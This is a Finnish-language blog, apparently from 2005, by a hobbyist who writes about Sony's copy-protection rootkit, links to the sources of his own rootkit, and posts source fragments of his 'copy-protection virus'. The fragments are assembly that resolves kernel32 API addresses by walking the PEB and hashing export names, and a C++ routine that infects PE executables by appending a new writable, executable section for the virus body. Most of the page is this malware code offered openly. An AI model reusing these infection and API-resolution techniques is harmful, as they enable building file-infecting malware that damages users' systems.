IRC-Galleria

Blogi

- Vanhemmat »

Sonyn rootkitTorstai 03.11.2005 06:50

Sony sitten pisti levyynsä kopiosuojauksen jossa kovin kieroja piirteitä. Koittaa piilottaa olemassaoloaan rootkitillä, soittaa kotiin ja kertoo kun käyttäjä kuuntelee levyä, jne jne...

Sitten kun siitä nousi kohu, julkaisevat päivityksen joka poistaa tämän piilotus-ominaisuuden, muu paha toki pysyy. Sitä ei yhäkään saa helposti pois, ja suoraviivainen poisto rikkoo CD-aseman ajurit. Ja se ilmeisesti yhä kertoo sonymusicille kun soitat levyä.

Stopprot-lähdekooditTiistai 01.11.2005 17:58

Päätinpä sitten julkaista stopprot-rootkitin lähdekoodit.

Tässä olisi:
http://hack.fi/~muzzy/stopprot_sources_2005-11-01.zip

Lisää virus-sorsaaTiistai 01.11.2005 08:19

Kai se olisi sitten sen paikka, että julkaisen toisen pätkän viruksestani. Tälläkertaa julkaistava pätkä onkin sitten apuohjelma, jonka avulla viruskoodi voi selvittää funktio-osoitteita käyttöä varten. Koodi on karkeaa ja rumaa, ja tässä näkyy ainoa osa viruksesta jonka tein C++:n sijasta assemblerilla. Olisihan tämän jälkeenpäin ajatellen voinut tehdä suurimmaksi osaksi C++:llakin, mutta helpompaa se näin oli.

/* Hash Calculator */

#include <iostream>
#include <iomanip>

using namespace std;

char *calcme[] = {
"CreateFileA",
"GetFileSize",
"SetFilePointer",
"SetEndOfFile",
"CloseHandle",
"CreateFileMappingA",
"MapViewOfFile",
"FindFirstFileA",
"FindNextFileA",
"FindClose",
"VirtualAlloc",
"UnmapViewOfFile"
};

#define SIZEOF_CALCME 12

unsigned int calc_hash(char *s)
{
unsigned int retval = 0;
__asm {
mov esi, s
xor edi, edi
xor eax, eax
loophash:
ror edi, 7
lodsb
add edi, eax
test eax, eax
jnz loophash
mov retval, edi
}
return retval;
}

#include <windows.h>

int main()
{
unsigned int hashes[SIZEOF_CALCME];
unsigned int hashptrs = (unsigned int) &hashes;
HANDLE foo = LoadLibrary("kernel32.dll");
for(int i=0; i<SIZEOF_CALCME; ++i) {
cout << calcme << " = " << hex << calc_hash(calcme);
cout << " = @" << (unsigned int)(GetProcAddress((HMODULE)foo, calcme)) << endl;
hashes = calc_hash(calcme);
}
unsigned int kernel32 = 0;
unsigned int searchhash = 0;
unsigned int exports = 0;

__asm {
xor eax, eax
mov eax, fs:[0x30] // peb
test eax,eax
js w9x_getkernel
mov eax, [eax+0xC] // PROCESS_MODULE_INFO
mov esi, [eax+0x1C] // InInitOrder.flink
lodsd // InInitOrder.blink
mov eax, [eax+8] // eax = kernel32.dll base
jmp got_kernel
w9x_getkernel:
mov eax, [eax+0x34]
lea eax, [eax+0x7C]
mov eax, [eax+0x3C] // eax = kernel32
got_kernel:

//// get procs
mov kernel32, eax
mov ebx, eax
mov eax, [ebx+0x3C] // lfanew
mov eax, [ebx+eax+0x78] // exports
add eax, ebx // export table address
xor ecx, ecx
mov exports, eax
push ecx
mov eax, [eax+0x20]
add eax, ebx
mov edx, eax // edx = name pointers

lookuploop:
mov eax, hashptrs
mov eax, [eax+ecx*4]
mov searchhash, eax
xor eax, eax
xor ecx, ecx
scanloop:
inc ecx
mov esi, [edx+ecx*4]
add esi, kernel32 // one name pointer
xor edi, edi
loophash:
ror edi, 7
lodsb
add edi, eax
test eax, eax
jnz loophash
// hash in edi
cmp edi, searchhash
jnz scanloop

// entry found
mov eax, exports
mov ebx, [eax+0x24] // ordinals rna
add ebx, kernel32
mov cx, [ebx+ecx*2]
mov ebx, [eax+0x1c] // address rva
add ebx, kernel32
mov eax, [ebx+ecx*4]
add eax, kernel32 // function address in eax
pop ecx
mov ebx, hashptrs
mov [ebx+ecx*4], eax
inc ecx
cmp ecx, SIZEOF_CALCME
push ecx
jnz lookuploop
pop ecx
mov searchhash, eax
}
for(int i=0; i<SIZEOF_CALCME; ++i)
cout << "> " << hashes << endl;
}

Semmoista tälläkertaa. Koodi siis etsii kernel32:n moduulin muistista tulkiten Process Environment Blockin sisältämiä rakenteita. w9x-version tästä pummin 4x10m.com:n kavereilta, aiemmin man-shadowina tunnettu ryhmä joka oli kuuluisa esim netbios-madosta. Hashien käyttö merkkijonojen, ja täten funktioiden nimien tunnistamiseen on yleinen käytäntö, joskin toteutin oman hashaajan. Valmiita olisi löytynyt toki esim z0mbien julkaisemista virus-lähdekoodeista. Kirjoittamani koodi on kovin kankeaa, koska rakensin sen kovasti korkean tason tyyliin, alhaalta ylöspäin. Sitten kun piti tehdä looppi ympärille, oli helpointa vain spillata ecx pinoon.

Olisihan tästä saanut siistimmän jos olisi jaksanut kirjoittaa uusiksi, mutta himputtiako sitä säätämään kun homma kerran toimii. Tätä ei kuitenkaan kannata erityisemmin käyttää esimerkkikoodina, tämä ei ole siihen tarkoitukseen tehty eikä siihen kovin hyväkään. Mutta jos tästä nyt jollekulle on iloa niin hyvä niin. :)

tehokas tekninen toimenpidePerjantai 28.10.2005 00:22

Kirjoittelinpa sitten aamummalla noista tekijänoikeuteen liittyvistä projekteistani tekstin. Siinä siis lyhyt tiivistelmä mitä olen tehnyt ja mikä niiden idea on, ja joitain avoimia tutkimisen arvoisia asioita.

http://muzzy.net/files/copyright_projects_fi.txt

KopiosuojavirusKeskiviikko 26.10.2005 02:00

Tällä hetkellä oletuskuvassani on pätkä kopiosuojaviruksen lähdekoodia, joten ajattelin että voisi sitä heittää tänne blogiinkin pätkän. Saas nähdä mitä käy koodin sisennyksille jne :)

Kuvassa oleva funktio tässä siis kokonaisuudessaan:

// magic config
#define MAGIC_ID1 0x72616b2e
#define MAGIC_ID2 0x616c6570

#define MAGIC_ID3 0x7a756d2e

inline bool foo(char *base, unsigned int fsize)
{
unsigned int attacksize = 0x1000;
// process
pe::dos_header *dosh = reinterpret_cast<pe::dos_header*>(base);
if (dosh->e_magic != pe::dos_signature) return false;
pe::nt_header32 *peh = reinterpret_cast<pe::nt_header32*>(base+dosh->e_lfanew)
;
if (peh->signature != pe::nt_signature) return false;
if (peh->file_header.machine != pe::mt_i386) return false;
pe::pe_header& h = peh->file_header;
pe::section_header* sections = reinterpret_cast<pe::section_header*>
(base+dosh->e_lfanew+h.size_of_optional_header + 20+4); // fileheader+signature = 20+4

pe::section_header *v = sections + peh->file_header.number_of_sections;

unsigned int max_vaddr = 0;
bool will_infect = false;
for(unsigned int i=0; i<peh->file_header.number_of_sections; ++i) {
// don't reinfect
if (*(unsigned int*)(sections.name) == MAGIC_ID1)
return false;
if (*(unsigned int*)(sections.name) == MAGIC_ID3)
will_infect = true;
if (sections.virtual_address+sections.virtual_size > max_vaddr)
max_vaddr = ((sections.virtual_address+sections.virtual_size+0x1000-1)/0x1000)*0x1000;
}
if (will_infect == false)
return false;

peh->file_header.number_of_sections++;
peh->optional_header.size_of_image += attacksize;
peh->optional_header.size_of_code += attacksize;
peh->optional_header.size_of_initialized_data += attacksize;

v->pointer_to_raw_data=fsize;
v->characteristics = 0xE0000060;
*(unsigned int*)(v->name) = MAGIC_ID1;
*(unsigned int*)(v->name+4) = MAGIC_ID2;
v->number_of_linenumbers = 0;
v->number_of_relocations = 0;
v->pointer_to_relocations = 0;
v->pointer_to_linenumbers = 0;
v->size_of_raw_data = attacksize;
v->virtual_size = attacksize;
v->virtual_address = max_vaddr;

return true;
}

Tämä pätkä siis kirjoittaa muistiin kartoitettuun EXE-tiedostoon uuden osion johon voi kopioida koodia. Lisäksi tarkistetaan ettei jo saastunutta exeä saastuteta uudestaan, ja että saastutetaan vain omia teoksia. Tätä varten on MAGIC-arvot, jotka kuvaavat neljän merkin pätkiä ".kar"+"pela" ja ".muz".

Lopuksi funktio palauttaa arvon, kertoen pääohjelmalle saastutettiinko kohde vai ei, jotta pääohjelma tietää pitääkö sinne kopioida vielä viruksen loppuosuuskin. Koodi sisältää monia oletuksia kohdeohjelmasta eikä toimi sellaisenaan kaikkia exejä vastaan vaikka leviämisvarmistukset puuttuisivatkin, joten tämä koodi ei hirmuisen haitallinen ole :)
- Vanhemmat »